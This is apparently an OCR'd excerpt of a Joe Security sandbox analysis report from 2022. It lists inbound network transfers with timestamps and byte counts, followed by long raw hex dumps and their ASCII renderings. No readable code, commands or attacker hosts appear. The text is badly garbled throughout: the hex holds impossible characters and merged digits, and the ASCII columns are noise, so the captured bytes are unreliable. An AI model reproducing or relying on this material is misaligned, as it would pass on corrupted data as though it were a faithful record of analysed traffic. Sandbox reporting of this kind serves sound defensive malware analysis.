66 9e 0d b9 da da da 64 20 21 68 20 15 75 8f 25 66 20 1d 75 66 20 21 75 8f 25 8f 25 2e 0d 2c be 23 da 66 15 a5 58 2d 2
599 {6 8f da 7b 0d dc c0 23 da 68 20 19 75 66 20 31 75 32 66 20 1d 75 2e 0d a3 09 23 da 66 eb 3a 83 36 66 c0 38 7 2d
25 68 65 25 2e 7b 32 30 5¢ e9 f5 23 da da 66 Of 66 1d Oe b6 8f 65 8d 25 35 25 25 8d fe dc 25 25 8f 25 32 0d b9 09 23 da
64 29 49 5e 61 49 25 ea a9 84 25 25 25 66 29 49 eb 69 49 31 8d 68

Data Ascil: f 16f8f.{2/fffe%U%%{%.y#d)Ihil)u{2filLu.Z#f)14:6f0f {2ffff(Lifd FFffd th u%f uf u%%. #FX-%{#h uf 1u2f u.#f:6f8-
9%he%.{20\#Hfe%5%%6%%6062#d) 1"al%6%%%f) il 1h
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kBytes

Timestamp transferred Direction
2022-06-26 07:43:17 UTC 703 IN
2022-06-26 07:43:17 UTC 707 IN
2022-06-26 07:43:17 UTC 711 IN
2022-06-26 07:43:17 UTC 715 IN
2022-06-26 07:43:17 UTC 719 IN
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2022-06-26 07:43:17 UTC 735 IN

Copyright Joe Security LLC 2022

Data

Data Raw: €9 19 2e 7b 32 Oe b6 64 38 19 66 d4 64 30 1d 64 20 21 66 20 21 0d e3 dd 23 da 66 20 1d 0d db dd 23 da Oe
e5 30 8d a8 b1 1c 25 89 da 55 89 64 45 Oe 1b 68 20 19 66 30 21 0d 5e d9 23 da 66 20 19 0d 7e db 23 da 75 66 a2 94 dc
25 25 25 66 f0 d5 ad 1c 25 0d el eb 23 da 5e 9 29 66 30 19 66 20 1d 0d 8f 94 23 da 66 fd 26 5e d6 da 50 ea 66 e2 68 29
d5 66 30 19 0d dc d9 23 da c6 10 66 e2 68 29 d5 75 66 a6 df dc 25 25 25 66 20 19 0d db dd 23 da 66 20 1d 0d 73 db 23 d
a 66 ed de a6 68 20 19 df dc 25 25 25 0d b8 dd 23 da 6b 5e 58 19 25 50 84 Oe e5 7f 34 34 89 64 35 8d f9 bl 1c 25 68 20
19 df de 25 25 25 0d a5 8e 23 da 9e c4 d7 d1 23 da c6 c6 3a 83 36 66 cO 38 9e b5 2e 7b 32 30 2c 66 c4 66 ff 64 29 49 68
4e dc 66 fb 66 a0 0d 49 94 23 da 73 60 1b al f6 6b Oe da 66 41 49

Data Ascii: .{2d8fd0d !f I#f #0%UdEh fOI"#f ~#uf%%%f%#")f0f #& Pfh)f0#fh)uf%e%%f #f s#fth %%%#k "X%P44d5%h
%%%##:618.{20,ffd) INNffl#s kAl

Data Raw: 25 df f1 d7 1c 25 0d 11 7e 23 da da 10 59 c4 1c 25 da 10 41 c4 1c 25 da 10 25 c4 1c 25 8d 05 d7 1c 25 68 60
99 da da da df 29 25 25 25 0d cc cb 23 da 66 60 99 da da da 0d 4b cd 23 da 75 0d 05 a2 23 da 7e ed 0d 1c 25 da 10 71
c4 1c 25 8d 11 d7 1c 25 da 10 5d c4 1c 25 8d 21 d7 1c 25 da 10 f5 0d 1c 25 68 60 95 da da da df e0 25 25 25 0d 8a cb 23
da 66 60 95 da da da 0d 09 82 23 da 75 7c ed 0d 1c 25 75 0d 7d a2 23 da 7e dd 0d 1c 25 df 6d 3e 65 25 dd dd 0d 1c 25
0d f9 11 da da 7c ed 0d 1c 25 75 0d 9c eb 23 da dd 59 c4 1c 25 df 31 8e 1c 25 0d 63 7e 23 da dd 41 c4 1c 25 df 3d 8e 1c
25 0d Oa 7e 23 da dd 25 c4 1c 25 df 49 8e 1c 25 0d 45 7e 23 da dd 5d c4 1c 25 df 55 8e 1c 25 0d ec 7e 23 da dd 71 c4 1c
25 df 65 8e 1c 25 0d 27 7e 23 da dd f5 0d 1c 25 df 71 8e 1c 25

Data Ascii: %%~#Y%A%%%%h")%%%#f K#u#~%q%%] %! %%h" %% %#f #u| Youl#~%m>e%%| You#Y Y% 1%c~H#A
%=%~#%%I|Y%E~#]%U%~#q%e % ~#%q%

Data Raw: 1c 25 7c ed 0d 1c 25 75 0d 2c 92 23 da 7e dd 0d 1c 25 df 4d 3e 65 25 dd dd 0d 1c 25 0d a8 01 da da 8d e5 db
1c 25 7c ed 0d 1c 25 75 0d 08 92 23 da 7e dd 0d 1c 25 df 4d 3e 65 25 dd dd 0d 1c 25 0d 84 01 da da 7c ed 0d 1c 25 75
0d bb db 23 da dd 59 c4 1c 25 df 09 db 1c 25 0d ee 6e 23 da 68 60 99 d8 da da 94 f9 8e 1c 25 66 f0 59 c4 1c 25 0d 90 70
23 da 66 60 99 d8 da da 0d 83 72 23 da 66 f5 68 60 9d d8 da da 0d 64 b9 23 da 66 60 9d d8 da da df 25 a5 25 25 0d cc
43 dada 7e ed 0d 1c 25 8d 0d db 1c 25 7c ed 0d 1c 25 75 0d d1 db 23 da 7e dd 0d 1c 25 df 4d 3e 65 25 dd dd 0d 1c 25 0
d 4d 01 dada8d 21 db 1c 25 7c ed 0d 1c 25 75 0d ad db 23 da 7e dd 0d 1c 25 df 4d 3e 65 25 dd dd 0d 1c 25 0d 29 01 da
da 8d 3192 1c 25 7c ed 0d 1c 25 75 0d 89 db 23 da 7e dd 0d 1c 25

Data Ascii: %]|%u,#~%M>e%%%|%u#~%M>e%%|%u#Y %%n#h %fY %p# rifh d#f %% %C~%%|You#~%M>
€%%M!%|%u#~%M>e%%)1%|%u#~%

Data Raw: 1c 25 a9 25 a9 25 25 25 a5 2d 25 2d 25 2d 25 2d 25 2d 25 2d 25 2d 25 2d 25 25 39 25 39 25 39 25 39 dc a9
67 a9 dc 2b 67 2b 25 41 25 41 25 25 25 39 €2 a5 22 a5 e2 27 22 27 25 25 25 25 25 25 25 25 25 25 25 25 2d 25 2d 25 25
25 25 25 25 25 25 25 25 25 25 25 35 1c ¢5 dc 3d dc 45 dc 09 45 09 45 da da 25 25 25 25 25 25 25 25 25 25 da da da da
da da 35 dc 25 25 08 e0 1a 25 1a 27 1a 25 1a 27 1a 25 1la 25 la 25 1a 27 35 dc da da da da da da da da da da da da da
da fe 65 fe 65 fe 27 fe 27 da da da da da da da da 1a 25 1a 27 Oa 25 1a 27 18 25 18 25 1a 25 1a 25 25 25 25 a5 25 a5 25
a5 25 25 25 25 da da da da da da da da da da da da da da da da da da da da 09 45 09 45 09 45 09 45 09 45 09 45 09 45
09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 02 67 1a 25 1la 25

Data Ascii: %%%%%-%-%-%-%-%-%-%-%%9%9%9%9g+g+%A%A%%%9""" %% %% % % %% %% % %-%-%% %% % % %%
9%%%%%5=EEE %%%%%%%%%%5% %% % %% %' 5ee" %' %' %% % %% %% % % %% %% EEEEEEEEEEEEEEEEg%%

Data Raw: 25 25 71 4a 3e 3¢ 91 1c 91 91 4a 3e 25 25 25 25 22 40 99 79 44 3e 46 1e 4a 50 93 99 25 25 25 25 2¢ 50 40
97 54 75 40 97 8b 4a 97 48 3¢ 93 3e 40 1e 4a 50 93 99 40 97 25 25 25 22 40 99 7b 40 97 4e 44 4a 93 25 25 25 25 22 40
99 1e 50 97 97 40 93 99 79 8d 97 40 3¢ 89 24 89 25 25 25 25 24 93 99 40 97 91 4a 3e 46 40 89 69 40 3e 97 40 48 40 93
99 25 25 25 25 24 93 99 40 97 91 4a 3e 46 40 89 24 93 3e 97 40 48 40 93 99 25 25 25 25 7b 44 97 99 50 3c 91 2¢ 50 40
97 54 25 25 25 25 32 44 89 40 1e 8d 3c 97 79 4a 28 50 91 99 44 67 54 99 40 25 25 25 28 50 91 99 44 67 54 99 40 79 4a
32 44 89 40 1e 8d 3c 97 25 25 25 91 4e 99 97 91 40 93 1c 25 25 25 25 91 4e 99 97 3e 95 54 93 1c 25 25 25 71 4a 3c 89
71 44 87 97 3¢ 97 54 20 9d 1c 25 25 25 25 22 40 99 79 8d 97 40 3c 89 71 4a

Data Ascii: %%60J><J>%%%%" @yD>FJIP%%%%,P@Tu@JH<>@JIP @%%%"@{@NDJI%%%%"@P@y@
<$%%%%$@I>F@I@>@H@%%%%$@I>F@$>@H@%%%%{DP<,P@T%%%%2D@<yJ(PDIT @%%%(PDYT@
yI2D@<%%%N@%%%%6N>T%%%qJ<qD<T %%%%" @y@<0J

Data Raw: 59 f5 59 f9 59 fd 59 01 59 05 59 09 59 0d 59 11 59 21 59 41 10 49 10 4d 10 51 10 55 10 59 10 5d 10 61 10 65
1069 10 7d 10 9d 10 a5 10 a9 10 ad 10 b1 10 b5 10 b9 10 bd 10 ¢1 10 ¢5 10 d9 10 f9 10 01 10 05 10 09 10 0d 10 11 10
151019 10 1d 10 21 10 35 5b 55 5b 5d 5b 61 5b 65 5b 69 5b 6d 5b 71 5b 75 5b 79 5b 7d 5b 95 5b b5 5b bd 5b ¢1 5b ¢5
5b ¢9 5b cd 5b d1 5b d5 5b d9 5b dd 5b ed 5b 0d 5b 15 5b 19 5b 1d 5b 21 5b 25 12 29 12 2d 12 31 12 35 12 49 12 69 12
7112751279127d 128112851289 128d 129112 a1 12¢112¢9 12 cd 12d112d512d9 12 dd 12 el 12 €5 12 €9
12 fd 12 1d 12 25 5d 29 5d 2d 5d 31 5d 35 5d 39 5d 3d 5d 41 5d 45 5d 5d 5d 7d 5d 85 5d 89 5d 8d 5d 91 5d 95 5d 99 5d
9d 5d a1 5d a5 5d b9 5d d9 5d e1 5d e5 5d 9 5d ed 5d f1 5d f5 5d f9 5d

Data Ascii: YYYYYYYYYIYAIMQUY]aei}!S[U[][alefi(m[a[uly B %)- 15 iquy}%eDI-1115191=] AN

Data Raw: €9 14 f5 14 f9 14 09 14 11 14 15 14 19 14 1d 14 21 14 25 5f 29 5f 2d 5f 31 5f 35 5f 39 5f 3d 5f 41 5f 45 5f 49 5f
4d 5f 51 5f 55 5f 59 5f 5d 5f 61 5f 65 5f 69 5f 6d 5f 71 5f 75 5f 79 5f 7d 5f 81 5f 85 5f 89 5f 8d 5f 91 5f 95 5f 99 5f 9d 5f al

5f a5 5f a9 5f ad 5f bl 5f bf 5f d1 5f df 5f e3 5f f5 5f ¢4 5f 19 5f 29 16 39 16 41 16 45 16 49 16 4d 16 51 16 55 16 59 16 5d
16 61 16 65 16 69 16 6d 16 71 16 75 16 79 16 7d 16 81 16 85 16 89 16 8d 16 91 16 95 16 99 16 9d 16 al 16 a5 16 a9 16

ad 16 b1 16 b5 16 b9 16 bd 16 c1 16 ¢5 16 ¢9 16 cd 16 d1 16 d5 16 d9 16 dd 16 el 16 e5 16 €9 16 ed 16 f1 16 f5 16 f9 16
09 16 d0 16 d4 16 31 61 51 61 59 61 5d 61 61 61 65 61 69 61 6d 61 71 61 7561 79 61 7d 61 81 61 85 61 89 61 8d 61 91

619561 al61cl61c96lcd6ldl6lds

Data Ascii: 1% ) - 159 =AEIMQUY]aeimaqguy} )9AEIMQUY]aeimquy}1aQ

aYa) iamagauayay

Data Raw: 4e ac 99 59 ea 38 a5 bb ¢7 46 ac 3f d9 43 18 a5 db c¢7 82 ac 26 0d 50 99 25 58 af b3 3e a5 ac Oc 33 8b b1 b4
3c 81 b1 62 20 85 64 7d 3f 4b a2 3b 3e c0 7d 10 7b 6a 10 3e f8 7d 12 9b O f6 €5 ¢3 3c ca 2d 49 27 66 a5 ee 11 2d 83 a9
35e7 91 a7 b5 b522 7d 71 7d 1e cd 00 11 fe d9 37 df 2d 32 e4 5e a9 Oc e7 02 47 6e cd 2a d9 00 9f 37 d4 e9 9d 87 5f 8¢
b5 7d 6b d1 4b 13 fc 43 fc ¢3 00 83 02 33 ee 3a 6e 6d 49 33 a4 b7 09 73 2f fc 00 b5 57 24 e6 24 46 6d b6 6d 08 c9 2e c9
637 35 44 ¢1 71 4b c6 b5 48 a4 03 09 2d d7 a5 d1 45 72 6¢ 92 b5 ea b5 2a b7 d6 a4 9e 09 92 39 5f a0 ad 07 71 e4 c7
49 77 c9 b9 37 6f 10 40 1a c0 29 80 7a 57 67 74 c5 cf 2c a8 84 ¢3 f9 2d cf ad 5f 7a 7f 24 48 c5 9b 75 Oa 2e 62 84 ee 59
50 bf 00 a8 76 3b 1e a6 c9 08 7e b0 f5 bf 44 42 44 d2 8d Oa

Data Ascii: NY8BF?C&P%X>3<b d}?K;>}j>}<-I'-5"}q}7-2"Gn*7_}kKC3:nmI3s/W$$SFmm.c5DgKH-Erl*9_glw70@)zWagt,-
_z$Hu.bYPv;~DBD

Data Raw: fc 57 57 f7 82 f9 23 51 2d e9 ¢7 Oc 6f ad c7 ad 7b 86 00 16 56 €0 6¢ 6¢ 6¢ 63 e6 c8 ba 25 15 7f ee ac ac 2¢ 39
3b d3 d2 df 10 2a 31 85 37 86 fe 10 10 b0 25 f1 e0 19 21 12 88 ee 95 1f 2e e7 2b c1 e2 cb d8 22 35 f3 d6 Oc eb da 27 d6
la b6 lade 25 6d ce 17 f3 d8 ac e7 61 25 25 25 25 24 20 73 69 d3 67 85 a7 25 25 25 25 25 25 25 25 25 25 25 25 25 25
2525 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25
25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25
25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25
25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25

Data Ascii: WW#Q-0{VIllc%,9;*17%!.+"5'%ma%%%%$ sig%%6%%%%%%%%%6% % %% %% %% %% % %% %% %% %%
9% % %%%6%% % %% % %% %% % % % %% %% %% % % %% %6% %% % % %% %% %% % % % %% % % % %% % % %% %% % % %
9% % %%%%6 %% %% % %% %% % % % %% % %% %% % %% %6% %% % % %% %% %% % % % %% % % % %% % % %% %% % % %
%%%
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Timestamp transferred Direction
2022-06-26 07:43:17 UTC 739 IN
2022-06-26 07:43:17 UTC 743 IN
2022-06-26 07:43:17 UTC 747 IN
2022-06-26 07:43:17 UTC 751 IN
2022-06-26 07:43:17 UTC 756 IN
2022-06-26 07:43:17 UTC 760 IN
2022-06-26 07:43:17 UTC 764 IN
2022-06-26 07:43:17 UTC 767 IN
2022-06-26 07:43:17 UTC 771 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 4d 41 ff e3 b7 a0 66 07 74 70 3c €9 ac ac 6b c4 02 a2 ed 7f 9a 72 c¢7 f9 b1 bb cc bl d2 34 bd ee e0 cd ba 96
60 60 66 43 40 f3 67 fe 13 9a a3 82 99 b2 44 d7 fb ca 00 fb bd ed c9 23 ef fa 71 93 5b 76 44 8f 8f 17 56 d9 46 d3 01 9c c1
bd 85 b7 0b 80 be 1d ce 5f 7a e2 2d 55 33 €9 75 38 fd 91 9b 53 3a e3 71 22 a2 78 ec b6 1d a5 2f 1le c5 e8 02 6a Oe 06 79
45 fc 5b 64 03 86 98 41 84 0d f6 dc c5 1f 14 98 1f 51 f1 f6 12 93 ¢5 4d 57 Oc Oc Oc be 73 f5 48 92 be dd 7b 66 4c 5¢ c3 cb
ae 42 94 ff f2 e7 07 30 20 e9 3f ee a2 7d 3b 45 €9 35 a5 ae c4 09 f9 84 2e 29 e0 44 6d 24 24 cc 5f 3c 2a 2a ea 40 40 40
c9 8f 38 11 84 df 65 3a 69 57 4a 91 fd 5d 91 c3 e5 33 15 83 e6 ce 07 a0 66 f9 b0 b0 87 8e b4 a4 ef ef 67 82 e6 80 90 dO
2f c2 f3 78 82 90 90 70 68 f6 ba 49 49 89 3f 00 00

Data Ascii: MAftp<kr4™“fC@gD#q[vDVF_z-U3u8S:q"x/jyE[dAQMWSsH{fL\BO ?};E5.)Dm$$_<**@ @ @8e:iWJ]3fg/xphlI?

Data Raw: 23 2c €3 Oc 24 3b 6¢ 3d 5d 92 98 80 1b 5c 28 ae 7d 6b 39 42 18 25 2e 30 47 29 12 fe af 54 63 Oe cb 46 23 71
a3 31 ce 07 b3 cd 8f c1 66 cf d7 98 c4 28 73 e0 e0 dc 5¢c db 12 aa 05 46 5 5b fb 60 24 36 21 59 be 19 06 5b dd d7 1e 65
55 6¢ aa 37 4c 66 21 d4 ec a8 6 ef fb fd 8b ea a2 73 7f 55 4d 2e al 9c 4d 2e bd a5 02 d2 el 9b 20 c7 1a b9 bb ab fd 73 3
80 42 94 09 ff 6f ca b9 18 fO ¢9 5f 81 92 52 4b 75 dc €9 52 35 0f e0 61 09 78 79 fO af 00 89 Oa a4 68 16 7d f3 cd 18 fe 62
46 b9 51 9f ef be a4 49 Oc 2e 4b 27 53 36 53 be bc 76 22 b7 cd 3e 0f b0 e7 c9 8b a8 b2 6e 9f 65 69 13 c7 00 85 c6 €0 51
82 3d 43 37 ad 0f d1 33 97 2 ab d5 8f 00 16 f5 5f 44 89 3a 09 70 3a a5 e5 af 08 9c f1 5e 43 8 e5 d3 5¢ 4f ba ed 6e 4c 84
d9 f2 07 78 46 3c 62 07 al 1f 68 a6 fc 4e a0 02

Data Ascii: #,%;|=]\(}k9B%.0G) TcF#q1f(s\F[ $6!Y[eUI7LflsUM.M. sBo_RKuR5axyh}bFQI.K'S6Sv">neiQ=C73_D:
p:AC\OnLxF<bhN

Data Raw: 68 b7 Oe 54 96 1f 6a b3 8d 2c 6¢ b1 29 ff d4 ec d7 47 31 95 47 5c fd 81 12 24 01 78 f4 44 c4 2b c7 ff 91 89 e3
4c 4e 75 9d b3 7f 73 41 8f be 07 92 d5 ¢3 37 99 35 eb 97 6f ¢4 f7 4c b6 6f 07 a4 11 79 e8 7c 07 5f b8 da 2c ea 16 d1 75
76 4b af 03 f4 92 26 69 ff bf 66 6a a2 1d eb c9 4e d3 1b 25 Oc d8 cf 9a 84 41 e5 30 38 65 db 4d fb 16 5¢ bd 53 7f 59 74 04
d3 5f 5d 56 22 95 b6 86 20 82 {7 ea 84 ed 15 fd cf 50 79 63 3b 00 53 08 c9 d5 88 ad 1b de 76 98 85 a2 73 97 dd 5c f5 03
71 cd cb 8b 3f ff 23 24 82 ba 34 €9 0f 11 02 a9 de 6b d0 d3 2e fa 76 85 5a c1 5b 1d 4e b5 e4 55 3e 71 ef a5 da 4d f4 92
9c 01 9d Oc de 09 55 ae e6 23 d4 8b cf 19 88 28 30 26 76 b4 55 8f 2b 21 €9 e9 fb dc 8 8f 86 d0 d5 f4 4d 8¢ a2 ea 9f 67 6¢
43 3d 10 05 8a 3e €9 b1 3a f0 97 95 fa 8a 3f 4f

Data Ascii: hTj,)G1G\$xD+LNusA750Loy|_,uvK&ifiN%A08eM\SYt_]V" Pyc;Svs\q?#$4k.vZ[INU>qMU#(0&vU+!MgIC=>:?0

Data Raw: 39 dc 7e 73 79 c2 4b 51 dc 98 33 f8 48 e4 el 62 e4 9e 3f 72 45 27 04 4e 05 31 69 a4 15 c2 1le 11 1d 78 50 60
9d df fc 8d 08 2f 4a 80 5d Oc a5 d0 9d 46 11 19 9f 59 68 16 49 89 7e 3a ea 4f ¢3 11 79 f1 68 d7 9d ef 70 10 10 df 8f 5e d7
bf 08 b0 6d 7c 34 d3 49 4f 88 dd ae 12 c3 23 a3 54 e7 82 09 89 f5 df 1f ba 58 56 cb 64 12 3a 3c b6 75 6f 03 59 62 be 28
5c 08 32 bf 8f f5 05 4e 22 5f 81 25 83 d1 66 ee 90 95 f7 ce 42 bl ad 3d ¢4 75 ba 04 aa 11 69 c4 35 7a 88 06 €0 5d 73 ac
337958 3d 28 61 b5 3¢ 72 ¢5 e7 bf 56 60 b9 b1 a2 f5 b6 8e b0 6e 29 f2 18 25 b7 52 2d 3f fa 52 cf 5e f3 c1 08 b0 Oa 0d 4f
17 7e 8a 04 a2 c5 70 1d bc Oa ec 34 52 44 50 e8 df 8b 09 b2 ca 98 ea b8 01 86 6e f6 d7 22 b1 9a 69 9c d2 c5 9f cc f1 al
52 47 5e 44 61 30 60 2c f9 df 6f 87 18 bb bd 2d 65

Data Ascii: 9~syKQ3Hb?rE'N1ixP/J]JFYhl~:Oyhp m|4I0#TXVd:<uoYb(\2N"_%fB=ui5z]s3yX=(a<rV 'n)%R-?R"O~p4R
DPn"iRG"Da0",0-e

Data Raw: 62 34 71 ee d1 8f e9 8e 05 6e 12 41 57 67 df b1 60 d2 2c ad 8d c9 94 ad 9d dc 2e 3a e4 8b df 52 b0 d5 57 18
854f 94 c389 81 57 ee e2 43 8a 01 21 cb bb 34 b3 39 9e 1a 52 fc 0a 69 12 f6 5b ec 01 e2 99 al 42 da ea 57 e4 f4 9a b9
5a 2c 7d 3f 6d 22 8d Ob 5e 83 44 fd e3 47 6f ae 65 a3 24 8f fe 51 04 78 77 64 33 2e 81 48 d0 8d ee fd 53 2a 4a 41 e7 7a
01 f0 de 9b 6a 17 18 6d 3c 75 6d 3a ec b6 99 1f 49 00 23 e6 69 bl bc 42 27 ec fe c2 b8 ¢8 7f 9¢c 39 e2 7b 66 f8 c7 60 8b
0102 2a f4 11 d3 a8 e5 81 eb €9 47 be 6¢ ba a9 2a 8c 1la e2 60 11 04 a2 3b 69 39 4d d1 e3 70 3b 8e d7 78 67 e5 c5 f3
69 65 48 e2 ec 23 f2 59 93 bd 7b 07 c2 75 48 d4 ca 3c 72 b9 2b fb ca 34 e4 c9 f2 e9 4b a0 ee 1d Ob b9 37 c3 ec 2d 9a fc
a3 12 fd a8 16 4c 4e d0 3e 36 3e 6a 85 3a 4e 7b 45 03 4b aa

Data Ascii: b4gnAWg',..RWOWC!49Ri[BWZ,}?m"*DGoe$Qxwd3.HS*JAzjm<um:I#iB'9{f *GI**;i9OMp;xgieH# Y {uH<r+4K7-
LN>6>j:N{EK

Data Raw: €8 64 21 81 90 ce 85 4a 79 4f 53 c9 ea 03 40 6f b6 c1 db 05 be a7 Oc 50 f8 fe 68 1d 32 28 fc eb 46 68 39 75 Oe
60 6b a7 6f 57 e8 f3 a9 1c 24 05 7b 10 30 d3 c7 87 90 b3 27 22 43 fc 4a b5 b3 f1 a4 b0 f6 93 5a 3a f6 e7 5a Oc 3e 5e 11
78 f0 8a 20 d6 b5 6¢ 43 af cd d7 5¢ Oe 08 1c 17 9c 3b ca 59 7f 4d 6d 12 d3 25 59 6f c3 6d 48 92 d2 8b eb 8c 7d dO 1f 6e
81 af 15 d9 f5 23 Ob a7 af 81 28 5 ea 24 0f 30 38 1f 14 8a 6a €8 d2 f4 60 74 85 dd 38 2e b2 a8 df d7 ee d3 ad ac 9c 67 1d
24 bb eb 8f 35 71 d9 d0 31 10 0d c3 34 57 54 36 e5 67 af 91 5e 1e 61 4c 2e fe 95 5¢c 3a 32 f5 8a d3 8¢ 83 7d €8 50 a2 04
02 94 66 f3 05 20 18 84 58 2f 9b 87 1b 58 62 fc 72 91 cf 2f 4c 6f cc 77 b4 62 62 4d 4d 3c fc 49 88 5e 83 92 b2 ¢7 80 44 cf
5e ec 02 ce 74 0d 27 29 76 4d d7 07 be 45 23 fc

Data Ascii: d!JyOS@0Ph2(Fh9u koW${0™"CJIZ:Z>"x IC\;YMm%YomH}n#($08j t8.g$5q14WT6g aL \:2}Pf X/Xbr/Low
bbMM<I"DAt)VME#

Data Raw: 67 ef 43 5b 46 45 59 48 27 19 fb a7 c8 3e 02 dd 7c 96 2a 86 5c fc 9f f1 ac fb 32 48 fd 6f f1 8f Oe 4e cf 9d 06 ab
74 80 3c b8 12 14 17 ab 26 Oc db de 86 bc 66 11 cd 7b e5 83 ff e6 b0 57 2a 2e 59 66 0f 89 79 1b le cb 53 1e 45 28 e4 3e
f2 2f 13 4a 6b 75 6¢ ec 44 88 e7 bd 2e 27 e8 €3 27 01 70 fb 57 al 49 75 67 35 9d 23 7b ad ea 69 45 69 ce 82 b9 3b c3 2e
18 7f 9e f7 2e 87 3d 3c 87 €6 6e 9f 11 27 59 73 01 ae 58 f3 9d 9b €9 05 06 16 d2 f7 c6 14 8e bb Oc d9 39 76 0d ed 42 5a
23 d7 68 b5 4b 65 6b ce e5 ae fe 10 db ca 9a f2 54 a9 e4 47 a9 18 8c ed cc 95 f4 9e 35 35 9¢ 19 69 el 74 a2 87 71 9a 3¢
2ac728 8043 8c 2b a3 db le f1 23 67 22 2d be 5¢ b1 db 58 b9 28 6e 52 ec fc 36 57 2b 89 3c 95 44 ff a8 ef 42 8e 1la ee
a0 52 28 8d 3 c5 de a0 b7 a2 d9 1b 5e 8b 8a bd b5

Data Ascii: gC[FEYH'>["\2HoNt<&f{W*.YfySE(>/JkulD."pWIug5#{iEi;..=<n'YsX9vBZ#hKekTG55itq<*(C+#g"-\X(NREW+
<DBR(*

Data Raw: bb 8f a0 bf 0f b5 5d e1 01 30 8c 8d 5f 28 29 03 97 5f 6a 03 bd e6 {7 5a da cc 91 5a 8f c9 2e 46 f0 3d ee 84 4b
32 eb 96 9f 92 41 81 ec 14 32 fd 7a 38 49 41 f6 57 65 16 2a 3d 5e 6d 16 84 b2 99 4f f5 37 88 5¢ f8 62 07 a9 49 a2 75 81
04 0 ae Of bl cf 9e 06 4b 63 b3 93 7b 10 5a 8e ad 32 a3 1b 78 c9 84 b6 53 1a d6 31 43 19 8b 18 7e c9 ff Oe b7 96 fd 66
6 2a a9 5a 99 5¢ 24 2e 66 53 4a 03 el 95 e4 97 Of be 43 3a 9c cf 32 e0 7f a8 33 €6 65 6d 11 dc 5f 98 74 2f 92 7a 70 00
7c cb 95 bf b0 d8 ce 75 a8 7e fa 61 3c cO a3 9e 24 90 7d 83 98 9e ff 1a 1f 46 62 17 18 14 d1 32 92 79 27 ff bf 57 73 28 f6
89 93 d3 dc b7 51 26 00 a4 d6 16 d8 21 bb 8¢ 81 dO fd 16 1a el fO 17 bf 28 b1 b7 7d €8 73 c2 f3 a3 56 01 d6 €5 31 b7 90
a0 ca 30 58 9e 7c f9 02 c1 f1 42 8a ab 7b 12 bl bb

Data Ascii: ]0_()_jZZ.F=K2A2z8|AWe*="mO7\bluKc{Z2xS1C~f*Z\$.fSIC:23em_t/zp|u~a<$}Fb2y'Ws(Q&!(}sV10X|B{

Data Raw: 3b 50 1f 78 a2 b5 c0 3c 5e fd d5 8a bc 01 b7 74 f9 78 05 7d Oc 5b 94 70 33 d7 65 d4 8a 97 38 a0 19 a0 63 a2
b6 92 bc 55 00 de d6 bl d7 5a 03 28 e5 95 ¢9 2b 18 26 ¢3 67 9a d3 ef f3 07 57 27 63 d0 ba 1e 71 2e 00 d1 60 4c fc 20 80
8e 3354 d3 79 cc f6 fb 77 1f f4 2f 79 4c 09 59 22 b3 bb 75 1b a3 62 11 b4 96 96 dO 3c ed fe f1 da cf 08 5a 87 50 67 44 4e
77 b8 7e 4c c5 ee 2082 72 ed 77 dd a9 4d f0 e9 ec 7e d2 d9 15 b2 75 26 ab d4 31 14 2b e5 f2 67 2c e5 33 5f 4a b3 7c el
7176 58 03 1b 8f 63 57 e5 4b d1 6e fe 84 a6 00 f4 55 b9 2d b1 25 fb 09 b1 6c 1a 6f 61 8c 2b 75 b3 c1 bl e2 eb fa 86 Oe
d1 38 ¢9 10 c6 96 36 ed 43 0b 8e bf 11 76 15 20 33 d3 5a d2 a6 al 27 86 63 84 08 2e 16 12 fc 47 4f 87 4d 37 d9 ed c2 ed
16 69 3c f5 51 a3 b9 fd 63 36 ee 29 3d 94 Ob b7 ec f6

Data Ascii: ;Px<"tx}[p3e8cUZ(+&gW'cq. L 3Tyw/yLY"ub<ZPgDNw~L rwM~u&1+g,3_J|qvXcWKnU-%loa+u86Cv 3Z'c.
GOM7i<Qc6)=
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kBytes

Timestamp transferred Direction
2022-06-26 07:43:17 UTC 775 IN
2022-06-26 07:43:17 UTC 779 IN
2022-06-26 07:43:17 UTC 783 IN
2022-06-26 07:43:17 UTC 788 IN
2022-06-26 07:43:17 UTC 792 IN
2022-06-26 07:43:17 UTC 796 IN
2022-06-26 07:43:17 UTC 799 IN
2022-06-26 07:43:17 UTC 803 IN
2022-06-26 07:43:17 UTC 807 IN
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Data

Data Raw: 91 29 62 99 3a 85 d9 c6 48 45 62 c2 a8 bc ac fc 28 c7 82 55 2f f3 ¢4 4b 10 94 df ef 25 fd d6 48 07 84 a3 d8 60
35 f4 48 6a 21 b4 d8 87 bf fb 1a 6¢ 55 59 e3 02 ee c6 87 7f 16 97 c4 7f 92 7a ea a9 a2 ad 50 6d 5d 79 32 81 86 e7 71 84
€7 24 0b 3c ad 3a 27 41 fc 69 ac 30 fa 7e a3 2e Ob 81 2e b5 f8 9c el 71 4b 80 14 55 ea a5 a8 09 4b a4 4e 37 18 65 e7 db
7e de 62 1c Ob 16 3b 9e ae 85 65 8f 06 89 72 c8 3a 30 f5 9a 8a 8e 5c Oe ea 34 44 4c e5 9d a8 b4 f5 13 69 65 e3 e7 02 b9
99 99 31 12 22 96 ea 8e ef 00 ac cf f4 1508 cb 11 e5 17 dc 52 18 Oc 78 00 d7 bf 44 a0 50 e2 39 88 d8 ef 00 8d 22 01 02
00 bl f2 b8 11 9f d9 7b 36 c1 74 5a 56 f9 65 ca a5 da d5 be 81 al 20 ae Oa 19 41 ec 6a fb ec 48 ad c8 Oa fe 48 cf fb e0 36
4b c9 8e 8b 52 84 e2 5a 93 b7 5¢ 93 ef e2 9b a8 b5

Data Ascii: )b:HEb(U/K%H 5Hj!lUYzPm]y2q$<:'Ai0~..gkUKN7e~b;er:0\4DLie1"RxDP9"{6tZVe AjHH6KRZ\

Data Raw: d2 39 1c 13 fd d6 f6 el e5 3e f6 14 86 48 d9 3d 10 bb b4 4d bd 13 38 be 17 61 97 f9 81 49 b9 fb 67 37 85 62 3f
